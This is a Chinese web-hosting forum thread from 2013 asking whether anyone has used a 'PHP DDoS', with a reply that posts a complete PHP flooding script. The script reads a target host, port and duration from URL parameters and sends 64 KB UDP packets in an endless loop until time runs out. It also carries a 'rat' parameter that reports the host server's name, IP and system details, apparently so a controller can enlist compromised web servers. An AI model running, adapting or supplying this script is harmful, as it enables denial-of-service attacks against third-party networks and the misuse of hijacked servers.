全球主机交流论坛

 找回密码
 注册

QQ登录

只需一步,快速开始

CeraNetworks网络延迟测速工具IP归属甄别会员请立即修改密码
12
返回列表 发新帖
楼主: 3389

有人用过php ddos吗?

[复制链接]
发表于 2013-6-14 09:06:00 | 显示全部楼层
试试我这个
  1. <?php
  2. error_reporting(E_ERROR);
  3. set_time_limit(999999);
  4. $host = $_GET['host'];
  5. $port = $_GET['port'];
  6. $exec_time = $_GET['time'];
  7. $Sendlen = 65535;
  8. $packets = 0;
  9. ignore_user_abort(True);

  10. if (StrLen($host)==0 or StrLen($port)==0 or StrLen($exec_time)==0){
  11.         if (StrLen($_GET['rat'])<>0){
  12.                 echo $_GET['rat'].$_SERVER["HTTP_HOST"]."|".GetHostByName($_SERVER['SERVER_NAME'])."|".php_uname()."|".$_SERVER['SERVER_SOFTWARE'].$_GET['rat'];
  13.                 exit;
  14.             }
  15.         echo "Parameters can not be empty!";
  16.         exit;
  17.     }

  18. for($i=0;$i<$Sendlen;$i++){
  19.         $out .= "A";
  20.     }

  21. $max_time = time()+$exec_time;

  22. while(1){
  23.     $packets++;
  24.     if(time() > $max_time){
  25.         break;
  26.     }
  27.     $fp = fsockopen("udp://$host", $port, $errno, $errstr, 5);
  28.         if($fp){
  29.             fwrite($fp, $out);
  30.             fclose($fp);
  31.     }
  32. }

  33. echo "Send Host:$host:$port<br><br>";
  34. echo "Send Flow:$packets * ($Sendlen/1024=" . round($Sendlen/1024, 2) . ")kb / 1024 = " . round($packets*$Sendlen/1024/1024, 2) . " mb<br><br>";
  35. echo "Send Rate:" . round($packets/$exec_time, 2) . " packs/s;" . round($packets/$exec_time*$Sendlen/1024/1024, 2) . " mb/s";
  36. ?>
复制代码
您需要登录后才可以回帖 登录 | 注册

本版积分规则

Archiver|手机版|小黑屋|全球主机交流论坛

GMT+8, 2025-1-19 07:50 , Processed in 0.061233 second(s), 7 queries , Gzip On, MemCache On.

Powered by Discuz! X3.4

© 2001-2023 Discuz! Team.

快速回复 返回顶部 返回列表